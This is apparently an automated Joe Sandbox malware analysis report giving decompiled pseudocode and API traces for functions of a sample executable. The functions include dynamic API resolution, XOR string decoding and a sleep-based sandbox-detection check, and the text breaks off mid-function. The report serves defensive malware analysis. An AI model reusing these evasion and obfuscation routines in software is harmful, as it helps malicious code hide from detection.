
Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_1_400000_95C6.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction ID: 86d1809ebd5855410281f38b9c9c6c09a144d2210cd9b7f1e60e22e0793f0f49
Opcode Fuzzy Hash: 7b811dfe18a2fa04bac5265394d9a2456aa6afd5894524daffa0ad136d012fbe
Instruction Fuzzy Hash: CD01D43BA08105E7D6007A818A4DF6A7724EB50744F20C137A6077A1C0C5FC9A07E7BB

Uniqueness

Uniqueness Score: -1.00%

Function 0040280A, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040280A(intOrPtr __ebx, HMODULE* __edi, UNICODE_STRING* __esi, void* __eflags) {
				void* __ebp;
				void* _t12;
				long _t15;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t20;
				UNICODE_STRING* _t23;
				void* _t25;
				intOrPtr* _t26;

				_t29 = __eflags;
				_t23 = __esi;
				_t21 = __edi;
				_t16 = __ebx;
				if(__eflags < 0) {
					if(__eflags >= 0) {
						__ecx = __ecx + 1;
						__eflags = __bl;
						_t12 = 0x2824;
					} else {
					}
					_t19 =  *_t26;
					_t26 = _t26 + 4;
					E004012AB(_t12, _t16, _t19, _t20, _t21, _t23, _t29);
					_t16 =  *((intOrPtr*)(_t25 + 8));
					_t23 = _t25 - 0xc;
					 *((intOrPtr*)( *((intOrPtr*)(_t25 + 8)) + 0xc))(_t23,  *((intOrPtr*)(_t25 + 0xc)), 0x53);
					_t21 = _t25 - 4;
					_t15 = LdrLoadDll(0, 0, _t23, _t25 - 4);
					_t30 = _t15;
					if(_t15 != 0) {
						 *(_t25 - 4) = 0;
					}
				}
				_push(0x53);
				_t18 =  *_t26;
				E004012AB(0x2824, _t16, _t18, _t20, _t21, _t23, _t30);
				return  *(_t25 - 4);
			}

0x0040280a
0x0040280a
0x0040280a
0x0040280a
0x0040280b
0x0040280d
0x00402803
0x00402804
0x00402800
0x0040280f
0x0040280f
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402848
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000010.00000001.770880013.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_1_400000_95C6.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction ID: 9ca859c839910d9830ac79efeaa13c409ccf86f2f3a4ee59ee812277144ea7f3
Opcode Fuzzy Hash: 816e61236cf151029f9916b06356fa28e65bf4d83d8dd38ba6b14be9c999f240
Instruction Fuzzy Hash: B901843BA04105E7DA00BA819A4DBAE7764AB50704F10C57BE6077A1C5C6FC9607A76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281A, Relevance: 1.5, APIs: 1, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040281A(void* __eax, void* __ebx, void* __edi, void* __esi) {
				long _t12;
				intOrPtr _t19;
				intOrPtr _t20;
				void* _t21;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				void* _t34;

				_t34 = __eax - 0x90;
				_t19 =  *_t30;
				_t31 = _t30 + 4;
				E004012AB(__eax, __ebx, _t19, _t21, __edi, __esi, _t34);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), 0x53);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t35 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t31;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t35);
				return  *(_t28 - 4);
			}

0x0040281a
0x00402812
0x00402815
0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000010.00000001.770880013.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_1_400000_95C6.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction ID: 04be1964ae6a2c4a8d34668d02d656748d1177ed5934df91e255a91300bf99b4
Opcode Fuzzy Hash: ef76625e9fce4a99ac1b5c6db449950ac3397aa5a53fee84dab980023b8c3a58
Instruction Fuzzy Hash: 58F0A43AA04105D7DB00BA81CA49B9D7720AB51704F10C57BE6067A1C4C6B99707E76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040281E, Relevance: 1.5, APIs: 1, Instructions: 33
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040281E(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				void* __edi;
				void* _t9;
				long _t12;
				intOrPtr _t20;
				void* _t21;
				void* _t22;
				UNICODE_STRING* _t26;
				void* _t28;
				intOrPtr* _t30;

				E004012AB(_t9, __ebx, __ecx, _t21, _t22, __esi, __eflags);
				_t17 =  *((intOrPtr*)(_t28 + 8));
				_t26 = _t28 - 0xc;
				 *((intOrPtr*)( *((intOrPtr*)(_t28 + 8)) + 0xc))(_t26,  *((intOrPtr*)(_t28 + 0xc)), _t22);
				_t23 = _t28 - 4;
				_t12 = LdrLoadDll(0, 0, _t26, _t28 - 4);
				_t34 = _t12;
				if(_t12 != 0) {
					 *(_t28 - 4) = 0;
				}
				_push(0x53);
				_t20 =  *_t30;
				E004012AB(0x2824, _t17, _t20, _t21, _t23, _t26, _t34);
				return  *(_t28 - 4);
			}

0x0040281f
0x00402824
0x00402827
0x0040282e
0x00402831
0x0040283a
0x0040283d
0x0040283f
0x00402841
0x00402841
0x00402863
0x00402865
0x00402872
0x0040287e

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 0040283A

Memory Dump Source

Source File: 00000010.00000001.770880013.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_1_400000_95C6.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction ID: 3fd11184bcf92e870777245e351188805b8424fcd9c3dcde69815370b47807fd
Opcode Fuzzy Hash: 65736493afcaf5b803b8217f4f0e2bcb43a663e8f28fff33dac9f311f6d1fd4a
Instruction Fuzzy Hash: 9DF0303AA04105E7DB00BA91CA89B9E7770EB51714F10C16BE6067A1C4C6B89707E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: CFE8.exe PID: 4296 Parent PID: 3424 CFE8.exeCOMMON

Executed Functions

Function 0040C2E0, Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C2E0() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				intOrPtr _t6;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t6 =  *0x41a1f0; // 0x860b30
					_t30 =  *0x41aa64; // 0x73b60000
					 *0x41aa14 = E0040C1B0(_t30, _t6);
					_t40 =  *0x41a474; // 0x860c98
					_t8 =  *0x41aa64; // 0x73b60000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0x860ce0
					_t41 =  *0x41aa64; // 0x73b60000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x85f5d0
					_t32 =  *0x41aa64; // 0x73b60000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x85a748
					_t13 =  *0x41aa64; // 0x73b60000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0x860d70
					_t43 =  *0x41aa64; // 0x73b60000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0x860d10
					_t34 =  *0x41aa64; // 0x73b60000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0x860b78
					_t18 =  *0x41aa64; // 0x73b60000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t35 =  *0x41a324; // 0x860bd8
					_t45 =  *0x41aa64; // 0x73b60000
					 *0x41aa04 = GetProcAddress(_t45, _t35);
					_t21 =  *0x41a6f0; // 0x860c20
					_t36 =  *0x41aa64; // 0x73b60000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x85a9e8
					_t23 =  *0x41aa64; // 0x73b60000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x85a908
					_t47 =  *0x41aa64; // 0x73b60000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x73b60000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0x860cc8
				_t1 = LoadLibraryA(_t28); // executed
				 *0x41a854 = _t1;
				_t38 =  *0x41a658; // 0x860ba8
				_t2 = LoadLibraryA(_t38); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0x860d58
					_t29 =  *0x41a854; // 0x73ae0000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x85a968
					_t3 =  *0x41a934; // 0x76ae0000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f0
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3b6
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c435
0x0040c43b
0x0040c440
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(73B60000,00860CE0), ref: 0040C332
GetProcAddress.KERNEL32(73B60000,0085F5D0), ref: 0040C34A
GetProcAddress.KERNEL32(73B60000,0085A748), ref: 0040C362
GetProcAddress.KERNEL32(73B60000,00860D70), ref: 0040C37B
GetProcAddress.KERNEL32(73B60000,00860D10), ref: 0040C393
GetProcAddress.KERNEL32(73B60000,00860B78), ref: 0040C3AB
GetProcAddress.KERNEL32(73B60000,00860BD8), ref: 0040C3C4
GetProcAddress.KERNEL32(73B60000,00860C20), ref: 0040C3DC
GetProcAddress.KERNEL32(73B60000,0085A9E8), ref: 0040C3F4
GetProcAddress.KERNEL32(73B60000,0085A908), ref: 0040C40D
GetProcAddress.KERNEL32(73B60000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNELBASE(00860CC8,?,00406B72), ref: 0040C435
LoadLibraryA.KERNELBASE(00860BA8,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(73AE0000,00860D58), ref: 0040C468
GetProcAddress.KERNEL32(76AE0000,0085A968), ref: 0040C489

Strings

VirtualAllocExNuma, xrefs: 0040C418

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: VirtualAllocExNuma
API String ID: 2238633743-737288162
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 004048E0
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4A0, Relevance: 268.6, APIs: 144, Strings: 9, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				struct HINSTANCE__* _t4;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				CHAR* _t133;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				CHAR* _t148;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0x877b60
					_t273 =  *0x41aa64; // 0x73b60000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0x877938
					_t130 =  *0x41aa64; // 0x73b60000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0x875558
					_t363 =  *0x41aa64; // 0x73b60000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t133 =  *0x41a668; // 0x877908
					_t275 =  *0x41aa64; // 0x73b60000
					 *0x41a8b0 = GetProcAddress(_t275, _t133);
					_t364 =  *0x41a5d8; // 0x877b90
					_t135 =  *0x41aa64; // 0x73b60000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0x877a28
					_t365 =  *0x41aa64; // 0x73b60000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0x877bc0
					_t277 =  *0x41aa64; // 0x73b60000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0x877b48
					_t140 =  *0x41aa64; // 0x73b60000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t278 =  *0x41a2b4; // 0x877a88
					_t367 =  *0x41aa64; // 0x73b60000
					 *0x41aa70 = GetProcAddress(_t367, _t278);
					_t143 =  *0x41a7bc; // 0x877ab8
					_t279 =  *0x41aa64; // 0x73b60000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0x877ad0
					_t145 =  *0x41aa64; // 0x73b60000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0x877ae8
					_t369 =  *0x41aa64; // 0x73b60000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t148 =  *0x41a3a8; // 0x877b00
					_t281 =  *0x41aa64; // 0x73b60000
					 *0x41aa9c = GetProcAddress(_t281, _t148);
					_t370 =  *0x41a1c0; // 0x8756b8
					_t150 =  *0x41aa64; // 0x73b60000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0x877b18
					_t371 =  *0x41aa64; // 0x73b60000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0x875578
					_t283 =  *0x41aa64; // 0x73b60000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0x877128
					_t155 =  *0x41aa64; // 0x73b60000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t284 =  *0x41a0dc; // 0x877c20
					_t373 =  *0x41aa64; // 0x73b60000
					 *0x41aac4 = GetProcAddress(_t373, _t284);
					_t158 =  *0x41a30c; // 0x875598
					_t285 =  *0x41aa64; // 0x73b60000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0x877c08
					_t160 =  *0x41aa64; // 0x73b60000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0x8755d8
					_t375 =  *0x41aa64; // 0x73b60000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0x877c50
					_t287 =  *0x41aa64; // 0x73b60000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0x877cc8
					_t165 =  *0x41aa64; // 0x73b60000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0x877c98
					_t377 =  *0x41aa64; // 0x73b60000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0x877cb0
					_t289 =  *0x41aa64; // 0x73b60000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0x8753b8
					_t170 =  *0x41aa64; // 0x73b60000
					 *0x41a96c = GetProcAddress(_t170, _t378);
